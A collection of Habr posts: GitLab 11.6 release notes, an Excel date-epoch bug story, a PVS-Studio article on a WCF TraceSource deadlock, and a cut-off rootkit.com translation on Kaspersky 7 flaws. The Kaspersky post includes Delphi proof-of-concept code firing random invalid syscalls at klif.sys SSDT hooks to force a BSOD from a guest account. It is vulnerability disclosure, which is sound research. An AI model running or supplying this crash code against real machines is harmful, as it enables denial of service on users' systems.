тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/40385) ### Фильтрация markdown front matter для TOML и JSON (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Front matter — это метаданные, включенные в начало документа markdown, часто используемые генераторами статических сайтов, такими как [Jekyll](https://jekyllrb.com/docs/front-matter/) и [Hugo](https://gohugo.io/content-management/front-matter/). Когда GitLab преобразовывает файлы markdown в репозиториях в HTML для отображения, front matter сохраняет свой формат и отображается как есть, для ясности. В дополнение к разделителям из YAML (`---`), GitLab теперь также поддерживает разделители из TOML (`+++`), разделители из JSON (`;;;`) и произвольные разделители, что позволяет поддерживать любой формат данных. Спасибо [Travis Miller](https://gitlab.com/travismiller) за эту фичу! [Документация по front matter](https://docs.gitlab.com/ee/user/markdown.html#front-matter) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/52007) ### Поддержка Auto DevOps для Панели безопасности группы (ULTIMATE, GOLD) В релизе GitLab 11.5 ([оригинальная статья](https://about.gitlab.com/2018/11/22/gitlab-11-5-released/#group-security-dashboard), [перевод](https://habr.com/post/432264/#panel-upravleniya-bezopasnostyu-v-ramkah-gruppy)) мы выпустили [Панель безопасности группы](https://docs.gitlab.com/ee/user/group/security_dashboard/), где отображаются результаты [SAST](https://docs.gitlab.com/ee/user/project/merge_requests/sast.html). С релизом 11.6 мы добавляем в шаблон [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) последнюю версию определения [работы SAST](https://docs.gitlab.com/ee/ci/examples/sast.html), и теперь результаты полностью совместимы с панелью безопасности группы, поэтому пользователи могут пользоваться обеими функциями одновременно. **Примечание:** Для определения новой работы SAST требуется [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 или выше, более подробную информацию вы можете прочитать в этом [посте в блоге](https://about.gitlab.com/2018/12/06/gitlab-runner-update-required-to-use-auto-devops-and-sast/). [Документация по Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/54160) --- Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: [GitLab 11.6 released with Serverless and Group-level Clusters](https://about.gitlab.com/2018/12/22/gitlab-11-6-released). Над переводом с английского работали [cattidourden](https://habr.com/users/cattidourden/), [rishavant](https://habr.com/users/rishavant/), [ainoneko](https://habr.com/users/ainoneko/) и [maryartkey](https://habr.com/users/maryartkey/).
https://habr.com/ru/post/435550/
null
ru
null
# Борьба с тридцатилетним багом *В первой редакции говорилось о двадцатилетнем баге. На самом деле ему 30 лет. Спасибо [Sidnekin](https://twitter.com/Sidhekin/status/391160990873571329).* Сегодня, считывая какие-то данные, моя программа обработала 36'916 возможных дат. Две из этих 36'916 не прошли проверку. Я не придал этому значения, потому что эти даты были из данных предоставленных клиентом, а такие данные часто удивляют. Однако, взглянув на исходные данные, выяснилось, что проверку не прошли 1 января 2011 и 1 января 2007. В программе, написанной мной месяц назад, был баг. Но оказалось, что этому багу 30 лет. Любому человеку, который не очень понимает экосистему программного обеспечения, написанное ниже покажется странным, но в этом есть смысл. Из-за решения, принятого давным-давно, чтобы принести деньги одной компании, мой $клиент потратил деньги на оплату мне, чтобы я исправил баг, внесённый одной компанией случайно, а другой специально. Чтобы объяснить это, мне придётся рассказать о третьей компании, добавившей особенность, ставшую в конечном счёте багом, и ещё о нескольких фактах, повлиявших на непонятный баг, который я исправил сегодня. В старые добрые времена компьютеры Apple иногда сбрасывали дату на 1 января 1904 года. Причина проста: в те времена [компьютеры Apple использовали питаемое от батареек системное время](http://en.wikipedia.org/wiki/Apple_II_system_clocks), чтобы следить за датой и временем. Что случалось, когда батарейка садилась? Компьютеры Apple считали свои даты, как [количество секунд, прошедших с начала эпохи](http://lowendmac.com/tech/1-1-2k.shtml). [Эпоха](http://en.wikipedia.org/wiki/Epoch_(reference_date)) в данном случае — всего лишь дата начала отсчёта. И для компьютеров Apple такой датой было 1 января 1904 года. Когда батарейка садилась это число становилось новой датой. Но почему так случалось на самом деле? В те времена Apple использовала 32 бита для хранения количества секунд со стартовой даты. Один бит может содержать два значения: 0 или 1. Два бита — четыре значения: 00, 01, 10, 11. Три бита — восемь значений: 000, 001, 010, 011, 100, 101, 110, 111. И так далее. Сколько значений содержится в 32 битах? 32 бита содержат 232 (или 4'294'967'296) значений. Для дат Apple это равнялось примерно 136 годам, поэтому [старые компьютеры Apple не могут работать с датами после 2040 года](http://lowendmac.com/lab/04/0115.html) и, если батарейка в системных часах садилась, то дата опять была равна 0 секундам после эпохи и приходилось вручную устанавливать текущее число каждый раз при включении компьютера (до покупки новой батарейки). Однако, решение Apple для хранения дат как количества секунд *после* эпохи значило, что невозможно хранить даты *до* эпохи. Как мы увидим, это имело далеко идущие последствия. Это была особенность, а не баг, добавленный Apple. Кроме всего прочего, это означало, что операционная система Macintosh имела иммунитет к проблеме Y2K (хотя многие программы на Mac не имели, так как по-своему представляли даты, чтобы обойти ограничения Mac'ов). Двигаясь дальше, встречаем [Lotus 1-2-3](http://en.wikipedia.org/wiki/Lotus_1-2-3), убойное приложение IBM, способствовавшее запуску PC-революции, хотя на самом деле [VisiCalc](http://en.wikipedia.org/wiki/VisiCalc) на Apple дало начало персональным компьютерам. Можно сказать, что, если бы не 1-2-3, то PC скорее всего не покинули свою нишу и компьютерные технологии развивались совсем по-другому. Однако, Lotus 1-2-3 неправильно считал 1900-й високосным годом. Когда Microsoft выпустила Multiplan, свою первую программу для электронных таблиц, [она не смогла завоевать рынок](http://www.memecentral.com/mylife.htm). Так что при разработке Excel было решено не только скопировать у Lotus 1-2-3 правила именования столбцов, но и сделать продукты полностью, с точностью до багов, совместимыми, включая намеренное обращение с 1900-м как с високосным годом, [проблема актуальная до сих пор](http://support.microsoft.com/kb/214326). Так что для 1-2-3 это было багом, но для Excel — особенностью, гарантирующей всем пользователям 1-2-3 возможность импорта электронных таблиц в Excel без различий в датах, даже если они были неправильны. Со временем Microsoft решила выпустить версию Excel для Apple Macintosh, но была проблема. Как уже упоминалось, Macintosh не понимала даты до 1 января 1904 года, а для Excel'я эпохой было 1 января 1900 года. Так что Excel подправили, чтобы распознавать эпоху и хранить дату относительно соответствующей эпохи. [В статье поддержки Microsoft эта проблема описана довольно ясно](http://support.microsoft.com/kb/214330). И это приводит к *моему* багу. Мой нынешний $клиент получает электронные таблицы от многих своих клиентов. Эти таблицы могли быть сделаны на Windows, а могли быть сделаны на Mac. В результате, эпохой в этих таблицах может быть 1 января 1900 или 1 января 1904 года. Как узнать какая именно? [Формат файла в Excel'е хранит такую информацию](http://msdn.microsoft.com/en-us/library/dd906747(v=office.12).aspx), но [парсер, который я использую](http://search.cpan.org/dist/Spreadsheet-ParseExcel-Stream/), её не предоставляет и считает, что вы сами знаете с какой эпохой имеете дело в данном файле. Мне, наверное, следовало потратить кучу времени в попытках разобраться как прочитать бинарный формат Excel и отправить патч разработчику парсера, но у меня были другие дела для моего $клиента и я набросал эвристику для определения к какой эпохе относится данный файл. Она была простая. В Excel может хранится, например, 5 июля 1998, но это число может быть отформатировано как «07-05-98» (бесполезный американский формат), «Июл 5, 98», «Июль 5, 1998», «5-ИЮЛ-98» и ещё множеством других бесполезных вариантов (по иронии, единственный формат, который моя версия Excel не предлагает — ISO 8601). Внутри же, неформатированное значение, это либо 35981 для эпохи 1900, или 34519 для эпохи 1904 (эти числа соответствуют количеству дней прошедших с эпохи). Я использовал устойчивый парсер, чтобы извлечь год из отформатированной даты. а затем парсер Excel, чтобы извлечь год из неотформатированного значения. Если они различались на четыре, значит даты в файле считались от 1904 года. Почему сразу не использовать форматированные даты? Потому что 5 июля 1998 года *может* быть отформатировано как «Июль 1998», теряя день. Мы получаем электронные таблицы от стольких компаний и они создают их столькими разными способами, что они ожидают от нас (от *меня* в данном случае) способности разобраться. Excel понимает что к чему, значит и я должен! Тут-то 39082 и дало мне толчок. Помните, как Lotus 1-2-3 считал 1900й високосным годом, и как это по-честному скопировали в Excel? Поскольку это добавляет один день к 1900, многие функции расчёта дат могут ошибаться на один день. Это значит, что 39082 *может* быть 1 января 2011 года (на Mac), а *может* быть 31 декабря 2006 (на Windows). Здорово конечно, что мой парсер извлекает 2011 из форматированного значения. Но поскольку парсер Excel не знает от какой эпохи рассчитываются даты в данном файле, то считает по умолчанию, что от 1900, возвращает год 2006, моя программа видит, что разница *пять* лет, считает, что это ошибка, пишет её в лог и возвращает неотформатированное значение. Чтобы обойти это я придумал следующее (псевдокод): ``` difference = formatted_year - parsed_year if ( 0 == difference ) assume 1900 date system if ( 4 == difference ) assume 1904 date system if ( 5 == difference and parsed month is December and parsed day is 31 ) assume 1900 date system ``` Теперь все 36'916 даты парсятся правильно. **Замечание**: для прикола, если у вас есть Mac с Excel, можете попробовать ввести дату до 1904 года и отформатировать её в другой формат. Ввести её вы сможете, но не сможете отформатировать, потому что Excel будет считать, что это обычный текст. В то же время для Microsoft Excel все дни недели до 1 марта 1900 неправильны из-за бага в программе, выпущенной в январе 1983 года. **Update**: Мне сказали, что [Spreadseet::ParseExcel понимает флаг 1904](http://www.reddit.com/r/programming/comments/1opg85/fighting_a_20yearold_software_bug/). К сожалению я использую Spreadsheet::ParseExcel::Stream, который не понимает. Даже на огромных машинах нам не хватает памяти при использовании стандартного парсера, так что мы используем потоковый. Мои попытки обойти это ограничение натолкнулись на [ещё один баг](http://stackoverflow.com/questions/19122203/spreadsheetparseexcelstream-losing-its-parser). **Update 2**: [Оказывается, Microsoft сначала выпустил Excel для Macintosh](http://books.google.fr/books?id=Vi8EAAAAMBAJ&lpg=PA30&dq=macintosh+spreadsheet+arrow+keys+multiplan&pg=PA30&hl=en#v=onepage&q&f=false). **Update 3**: [Если верить Джоэлу Спольски](http://www.joelonsoftware.com/items/2006/06/16.html), баг в Lotus 1-2-3 мог быть намеренной попыткой упростить программу. Я и раньше читал намёки, что Lotus сделал это преднамеренно, но поскольку я не уверен на все 100, я не стал про это писать.
https://habr.com/ru/post/198174/
null
ru
null
# How WCF Shoots Itself in the Foot With TraceSource We don't often get the chance to write something on parallel programming issues. This time we "got lucky". The TraceEvent standard method has some implementation peculiarities. They resulted in an error with multiple threads blocking. So we'd like to warn users about this nuance and cover this interesting case from our users support practice. Why was our support involved? Keep reading to find out. Enjoy the reading! ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d3b/936/a4b/d3b936a4b94c905ad804fa77d2d42a63.png)### Backstory The [PVS-Studio](https://pvs-studio.com/en/pvs-studio/) distribution includes the *CLMonitor.exe* utility or compilation monitoring system. It helps to seamlessly integrate PVS-Studio static analysis for C and C++ into any build system. A build system has to use one of the compilers supported by PVS-Studio to build files. For example: gcc, clang, cl, others. The standard scenario for this Windows utility is very simple - only 3 steps: 1. Run 'CLMonitor.exe monitor'; 2. Build the project; 3. Run 'CLMonitor.exe analyze'. The first step runs a 'server' that monitors all compiler processes in the system until the server is stopped. Once we've started the server — we build the project we want to analyze. If the build is successful, we need to run the analysis. To do this, we go to the third step. 'CLMonitor.exe analyze' runs a 'client' that tells the server, "That's it, shut down and give us the process monitoring results here". At this point, the server must complete its work and the client will start the analysis. Later you'll learn some insights of how the monitoring system operates, how the server collects processes. So one fine day the scenario above didn't work - the analysis just didn't start. What's more, it wasn't us who had this problem, but a user who contacted our support. Here's what was happening. The analysis ran, the server wasn't responding for ten minutes, the program exited by *timeout*. The reason for this was a mystery. We couldn't reproduce the problem. A double-trouble! We had to request a *dump* file for our utility process to see what was going on inside there. **Note**. The user had a problem when using the CLMonitor.exe Windows utility. Therefore, all further examples will be relevant for Windows. ### How CLMonitor.exe Works Don't skip this part - it will help you understand my further reasoning on the user's problem. Let me tell you how the client and server interact. All the source code you see here was taken from a mini project simulating the operation of the utility. I wrote it especially for you to make the case more clear. All source code is given at the end of the article. #### Why Do We Even Catch Processes? The story starts with having to run a server that will catch all processes. We do it for a reason. A more convenient way to analyze a C++ project is to directly run the analyzer through the [PVS-Studio\_Cmd](https://pvs-studio.com/en/m/0035/) command line utility. Yet it has a significant constraint - it can only check projects for Visual Studio. You have to call a compiler so that it processes source files being checked. After all, the analyzer works with preprocessed files. In turn, to call a preprocessor, you need to know: * which compiler to call; * which file to preprocess; * preprocessing parameters. The *PVS-Studio\_CMD* utility learns everything we need from the project file (\*.vcxproj). However, this only works for "regular" *MSBuild* Visual Studio projects. We can't get the information the analyzer needs even for *NMake* projects. It is because the information is not stored in the project file itself. And that's despite the fact that\* NMake\* is also .vcxproj. The project itself is kind of a wrapper for another build system. That's where all sorts of smarts come into play. As for analysis of *Unreal Engine* projects, we use direct integration with \*Unreal Build Tool \* - a build system used under the hood. Read more [here](https://pvs-studio.com/en/m/0043/). CLMonitor.exe lets us use PVS-Studio regardless of a build system—it can be even the most exotic one. It monitors all processes during project builds and catches compiler calls. Then we get all the information we need for further preprocessing and analysis from compiler calls. Now you know why we need to monitor processes. #### How the Client Runs the Analysis We use the WCF (Windows Communication Foundation) software framework to share data between the server and client. Let me briefly describe how we work with it. The *ServiceHost* class creates a named channel that will exchange messages between client and server processes. Here's what it looks like on the server side: ``` static ErrorLevels PerformMonitoring(....) { using (ServiceHost host = new ServiceHost( typeof(CLMonitoringContract), new Uri[]{new Uri(PipeCredentials.PipeRoot)})) { .... host.AddServiceEndpoint(typeof(ICLMonitoringContract), pipe, PipeCredentials.PipeName); host.Open(); .... } } ``` Notice two things here:\* ClMonitoringContact *and* IclMonitoringContact\*. *IClMonitoringContract* is a service contract. *ClMonitoringContract* is the implementation of a service contract. It looks as follows: ``` [ServiceContract(SessionMode = SessionMode.Required, CallbackContract = typeof(ICLMonitoringContractCallback))] interface ICLMonitoringContract { [OperationContract] void StopMonitoring(string dumpPath = null); } [ServiceBehavior(InstanceContextMode = InstanceContextMode.Single)] class CLMonitoringContract : ICLMonitoringContract { public void StopMonitoring(string dumpPath = null) { .... CLMonitoringServer.CompilerMonitor.StopMonitoring(dumpPath); } } ``` When we start the client, we need to stop the server and get all necessary data from it. This interface helps us do this. Here's what a client-side server stop looks like: ``` public void FinishMonitor() { CLMonitoringContractCallback callback = new CLMonitoringContractCallback(); var pipeFactory = new DuplexChannelFactory( callback, pipe, new EndpointAddress(....)); ICLMonitoringContract pipeProxy = pipeFactory.CreateChannel(); ((IContextChannel)pipeProxy).OperationTimeout = new TimeSpan(24, 0, 0); ((IContextChannel)pipeProxy).Faulted += CLMonitoringServer\_Faulted; pipeProxy.StopMonitoring(dumpPath); } ``` When a client executes the *StopMonitoring* method, it actually runs at the server and makes it stop. And the client gets the data to run the analysis. Now you have a grasp of the inner workings of the *CLMonitor.exe* utility. ### Dump File and Figuring out the Problem Ok, let's get back to the meat. Where were we? The user was sending us *dump* files from processes. The user had a hangup when trying to run the analysis, remember? Client and server processes were left hanging, no server closures. After exactly 10 minutes, this message appeared: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/162/c89/63d/162c8963d0c8c72ec5d16fe07d0947ac.png)\*\*Interesting fact. \*\*Where did those 10 minutes even come from? The fact is that we set a much longer waiting time for a server to respond. It is 24 hours, as seen in the code example above. However, for some operations, the framework itself decides that it's too much and it will manage faster. Therefore, it takes only a part of the initial value. We asked the user to get a dump from two processes (client and server) 5 minutes after the client was started to see what was going on there. Pause for effect. I'd like to be honest to my colleague [Paul](https://habr.com/en/users/paull/) and mention that he was the one who dealt with this problem. I was just fixing it. And now I'm writing the story about it:) The end of the pause. #### 'Client's' Dump So when we opened the client's *dump* file, the following thread list opened to our eyes: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/cad/498/7b6/cad4987b6ef75d8155d673ee297bfc25.png)We are interested in the main thread. It hangs up on the method responsible for requesting a server stop: ``` public void FinishMonitor() { .... ICLMonitoringContract pipeProxy = pipeFactory.CreateChannel(); ((IContextChannel)pipeProxy).OperationTimeout = new TimeSpan(24, 0, 0); ((IContextChannel)pipeProxy).Faulted += CLMonitoringServer_Faulted; pipeProxy.StopMonitoring(dumpPath); // <= .... } ``` The client asked the server to shut down - no response followed. This behavior is strange - this is usually a split-second operation. In this case, it took 5 minutes to get the *dump* after the client started. Well, let's see how the server is doing. #### 'Server's' dump We opened it and saw the following thread list: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/283/e63/88c/283e6388ccbb4cb011c480a4e49960df.png)Wow, why so many TraceEvents? The screenshot didn't fit them all, but there were more than 50. Time to brainstorm. We use this method to log different information. For example, we caught a process - a compiler we don't support. This led to an error - reading a process parameter failed. We took a closer look at the thread data stacks - they all lead to the same method in our code. Our utility catches a process. This method checks if this process is a compiler or something different. If we caught such an uninteresting process, we log this information. It turns out that the user runs a lot of processes that are 'trash' for us. Okay, let's go with it. The whole situation still looks suspicious. Why are there so many threads like this? In theory, logging should happen quickly. It looks like all these threads freeze up on a sync point or critical section and wait for something. Let's go to *ReferenceSource* and see the source code of the [TraceEvent method](https://referencesource.microsoft.com/). Next we open the source files and really see the *lock* operator in the *TraceEvent* method: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/71a/748/f4c/71a748f4c2a632827561194019002b89.png)We suggested that such a large number of *TraceEvent* methods (that wait for *TraceInternal.critSec* release) owes to constant synchronization and logging. Hmm, let it be so. But this does not yet explain why the server is silent. After another look at the server *dump* file, we noticed one single thread that goes down on the *DiagnosticsConfiguration.Initialize* method: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/bce/1b9/60b/bce1b960b691be1ea20561111d4013db.png)We get to this method from the *NegotiateStream.AuthenticateAsServer* method that performs server-side authentication in the client-server connection: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/395/d5f/7f9/395d5f7f9ffe7dc83eba0d54dd62eb50.png)In our case, client-server interaction happens with WCF. Besides, the client still waits for a response from the server. This stack shows that the *DiagnosticsConfiguration.Initialize* method was called upon request from the client and now hangs up and waits. Hmm... and let's go to its [source code](https://referencesource.microsoft.com/): ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c7b/63e/fcd/c7b63efcdf2005ad4a57b20c71c3fbf6.png)Here we notice that this method has a *critical section* for the same variable above. After looking at what this [CritSec](https://referencesource.microsoft.com/) is, we see the following: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/822/b09/aab/822b09aab9b688b28c4c6923aabc446b.png) We now have enough information to draw conclusions. **Interesting fact**. Surfing the Internet in search of information about this problem with *TraceEvent* yielded an [interesting issue](https://github.com/microsoft/ApplicationInsights-dotnet/issues/428) on GitHub. It actually covers another issue, but there's one entertaining [comment](https://github.com/microsoft/ApplicationInsights-dotnet/issues/428) from a Microsoft employee: "Also one of the locks, TraceInternal.critSec, is only present if the TraceListener asks for it. Generally speaking such 'global' locks are not a good idea for a high performance logging system (indeed we **don't recommend TraceSource for high performance logging** at all, it is really there only for compatibility reasons)". Microsoft team does not recommend using the code run-trace component for high-load systems. Whereas the team itself uses it in IPC framework that seemed reliable and resistant to heavy loads... #### Dump Analysis Results Here's what we have: 1. The client interacts with the server using the WCF framework. 2. The client can't get a response from the server. After 10 minutes of waiting, the client crashes by timeout. 3. Lots of threads freeze up on the server on the *TraceEvent* method and just one – on the \*Initialize \*method. 4. Both methods depend on the same variable in the *critical section*. 5. Threads where the *TraceEvent* method executes keep endlessly appearing. Due to *lock* they can't quickly do their thing and disappear. This is why they don't release the object from *lock* for a long time. 6. The *Initialize* method occurs when a client attempts to terminate the server and goes down indefinitely on *lock*. This helps us realize that the server received a completion command from the client. The server shutdown method requires connection and the *Initialize* method execution. Here's why this method can't run. *TraceEvent* methods running on the server at this moment keep the object in the *critical section*. New *TraceEvents* keep appearing because the server keeps running and catching new 'trash' processes. So the client will never get response from the server, because the server infinitely logs delayed processes with *TraceEvent*. Problem found! What **really** **matters** here is that the object in the *critical section* is a static variable. This means the error will repeat until instances of loggers exist in a single process. It doesn't matter that both we and WCF use different instances of loggers — seemingly independent objects create a mutual lock due to static variable in the critical section. Time to reproduce and fix the problem. ### How We Reproduced the Case This problem is actually simple to reproduce. All we need is to make sure the server is constantly logging something. So we create a method with the talking name *CrazyLogging* that will do this: ``` private void CrazyLogging() { for (var i = 0; i < 30; i++) { var j = i; new Thread(new ThreadStart(() => { while (!Program.isStopMonitor) Logger.TraceEvent(TraceEventType.Error, 0, j.ToString()); })).Start(); } } ``` The *Trace* method is responsible for the server operation, so we add our logging to it. For example, right here: ``` public void Trace() { ListenersInitialization(); CrazyLogging(); .... } ``` Done! Next we start the server (in my case using Visual Studio 2019), pause the process 5 seconds after, and see how threads are doing: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a24/433/ef4/a24433ef41b3094898261966978ae062.png)Great! Now we start the client (*TestTraceSource.exe analyze*). It has to connect to the server and stop it. After the client's start, the analysis doesn't run. So again we stop threads in Visual Studio and see the same picture from the server *dump* file. Namely, there was a thread that hangs up on the *DiagnosticsConfiguration.initialize* method. We reproduced the problem. How to fix it? It is worth to note that *TraceSource* is a class that provides a set of methods and properties that let apps trace code execution and link trace messages with their source. We use it because the server may not be attached to the console. This way console logging is pointless. In this case, we logged everything in Events of the operating system using the *TraceSource.TraceEvent* method. We "solved" the problem as follows. By default, all information logs to the console using the *Console.WriteLine* method. This log information may be lost because of non-attached console. In most cases, it is not required to perform the utility's tasks. Anyway, the problem is gone. In addition, changes took just several minutes. However, we left the option to log as before using a special *EnableLogger* flag. ### Code That Reproduces the Problem Below is the source code fragment so you can conveniently reproduce the problem. To run a simulation of the server, run .*exe* with the *trace* flag. Use the analyze flag to start the client. **Note:** The number of threads in *CrazyLogging* should be chosen individually. If you can't get the problem, try playing around with this value. You can also run this project in Visual Studio in the debug mode. Program entry point: ``` using System.Linq; namespace TestTraceSource { class Program { public static bool isStopMonitor = false; static void Main(string[] args) { if (!args.Any()) return; if (args[0] == "trace") { Server server = new Server(); server.Trace(); } if (args[0] == "analyze") { Client client = new Client(); client.FinishMonitor(); } } } } ``` Server: ``` using System; using System.Diagnostics; using System.ServiceModel; using System.Threading; namespace TestTraceSource { class Server { private static TraceSource Logger; public void Trace() { ListenersInitialization(); CrazyLogging(); using (ServiceHost host = new ServiceHost( typeof(TestTraceContract), new Uri[]{new Uri(PipeCredentials.PipeRoot)})) { host.AddServiceEndpoint(typeof(IContract), new NetNamedPipeBinding(), PipeCredentials.PipeName); host.Open(); while (!Program.isStopMonitor) { // We catch all processes, process them, and so on } host.Close(); } Console.WriteLine("Complited."); } private void ListenersInitialization() { Logger = new TraceSource("PVS-Studio CLMonitoring"); Logger.Switch.Level = SourceLevels.Verbose; Logger.Listeners.Add(new ConsoleTraceListener()); String EventSourceName = "PVS-Studio CL Monitoring"; EventLog log = new EventLog(); log.Source = EventSourceName; Logger.Listeners.Add(new EventLogTraceListener(log)); } private void CrazyLogging() { for (var i = 0; i < 30; i++) { var j = i; new Thread(new ThreadStart(() => { var start = DateTime.Now; while (!Program.isStopMonitor) Logger.TraceEvent(TraceEventType.Error, 0, j.ToString()); })).Start(); } } } } ``` Client: ``` using System; using System.ServiceModel; namespace TestTraceSource { class Client { public void FinishMonitor() { TestTraceContractCallback callback = new TestTraceContractCallback(); var pipeFactory = new DuplexChannelFactory( callback, new NetNamedPipeBinding(), new EndpointAddress(PipeCredentials.PipeRoot + PipeCredentials.PipeName)); IContract pipeProxy = pipeFactory.CreateChannel(); pipeProxy.StopServer(); Console.WriteLine("Complited."); } } } ``` Proxy: ``` using System; using System.ServiceModel; namespace TestTraceSource { class PipeCredentials { public const String PipeName = "PipeCLMonitoring"; public const String PipeRoot = "net.pipe://localhost/"; public const long MaxMessageSize = 500 * 1024 * 1024; //bytes } class TestTraceContractCallback : IContractCallback { public void JobComplete() { Console.WriteLine("Job Completed."); } } [ServiceContract(SessionMode = SessionMode.Required, CallbackContract = typeof(IContractCallback))] interface IContract { [OperationContract] void StopServer(); } interface IContractCallback { [OperationContract(IsOneWay = true)] void JobComplete(); } [ServiceBehavior(InstanceContextMode = InstanceContextMode.Single)] class TestTraceContract : IContract { public void StopServer() { Program.isStopMonitor = true; } } } ``` ### Conclusion Be careful with the standard *TraceSource.TraceEvent* method. If you may be often using this method in a program, you may face a similar problem as well. Especially if you have a high-load system. In this case, developers themselves would not recommend using anything related to the *TraceSource* class. If you've encountered something like this before, feel free to share with us in comments. Thanks for reading! I humbly suggest checking out my [Twitter](https://twitter.com/nikola_ich).
https://habr.com/ru/post/563828/
null
en
null
# Черные ходы Касперского 6/7 Перевод статьи с сайта rootkit.com ![](https://habrastorage.org/r/w780q1/getpro/habr/olpictures/9f8/b65/cfa/9f8b65cfaf355637126ce978180ce409.jpg) **Преамбула** Антивирус Касперского — один из наиболее технически развитых антивирусов на сегодняшний день. Он даже может бороться с некоторыми типами [руткитов](http://ru.wikipedia.org/wiki/Rootkit), даже когда они живы и пытаются атаковать. Он имеет Модуль Проактивной Защиты (Proactive Defence), представляющий из себя частичную реализацию [HIPS](http://en.wikipedia.org/wiki/Intrusion-prevention_system), способную, в теории, защитить компьютер от неизвестных угроз, анализируя поведение программ и предотвращая несанкционированные действия. Это всё теория и рекламные слоганы. В реальности же мы имеем совсем другую ситуацию. Существует много руткитов, которые вообще не обнаруживаются антивирусом, а его проактивная защита может быть подавлена таким образом, что атакующий может загрузить свой драйвер, после чего любая проактивная защита просто бесполезна. Эта статья — не просто обзор ошибок и уязвимостей — в конце каждой части мы даём рекомендации разработчикам антивируса, потому что мы видим, что они не могут разобраться с этими ошибками самостоятельно. И для приверженцев сразу оговорка: конечно, все, что написано ниже — не критические уязвимости, нет-нет =) Всего лишь несколько простых методов получить [BSOD](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D0%B8%D0%B9_%D1%8D%D0%BA%D1%80%D0%B0%D0%BD_%D1%81%D0%BC%D0%B5%D1%80%D1%82%D0%B8) при установленном KAV/KIS даже из под гостевого аккаунта, всего лишь методы обхода KAV/KIS… и так далее, в общем не принимайте слишком близко к сердцу. Версия Касперского, про который пойдёт речь в этой статье — 7.0, последний публичный билд 125, тип продукта — Internet Security. **Касперский и System Service Descriptor Table** Эта часть антивируса давно известна, как самая уязвимая. Таковой она является из-за того, что содержит множество элементарных ошибок. Ошибки эти — ещё один пример плохо написанной проактивной защиты. Под Windows XP Антивирус Касперского добавляет службы в таблицу SSDT. Множество служб, которые существуют лишь под Windows 2003. Их номера — от 284 до 296. Около 13 неизвестных записей с адресами внутри klif.sys. Вот они: > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BD80 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BD90 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BDA0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BDC0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BDE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BE10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BE20 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BE40 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BE50 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BF10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809BFE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809C020 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] > > ntkrnlpa.exe-->UNKNOWN\_SSDT\_ENTRY, 0xF809C060 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys] Что это? Совершенно непонятно. Однако похоже, что разработчики KAV добавляют их, чтобы решить проблему с разным количеством записей в таблице SSDT под Windows XP и 2003. Почему это было сделано именно так — вопрос третий. А теперь внимание: любая из этих записей может быть взломана с последующим крахом системы в BSOD даже из под гостевой учётной записи с **минимальными привилегиями**. Мы написали маленькую программу. Она генерирует некорректные системные вызовы с некорректными параметрами для этих таинственных записей в SSDT. Код очень простой, но эффективный. Выполнение его на чистой Windows не приведёт ни к чем, потому что сама Windows обрабатывает такие ситуации верно. > `var > >   Services: array[0..12] of ULONG; > >   ThreadTerminated: boolean = false; > >   ExecThread: THANDLE; > > > > function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall; > > asm > >   mov eax, SysCallNumber > >   mov edx, Stack > >   int 2eh > >   mov Result,eax > > end; > > > > function exec(p1: pointer): DWORD; stdcall; > > var > >   i: integer; > >   p2: DWORD; > >   p3: DWORD; > > begin > >   randomize(); > >   u := 0; > >   for i := 0 to 12 do Services[i] := 284 + i; > >   while not ThreadTerminated do > >   begin > >     p2 := random($FFFFFFFF); > >     p3 := Services[random(12)]; > >     MakeSysCall(p3, @p2); > >     Sleep(100); > >   end; > >   CloseHandle(ExecThread); > >   ExecThread := 0; > >   result := 0; > > end; > > > > var > >   p2: DWORD; > > begin > >   ThreadTerminated := false; > >   ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2); > > end;` Результат выполнения: Kaspersky 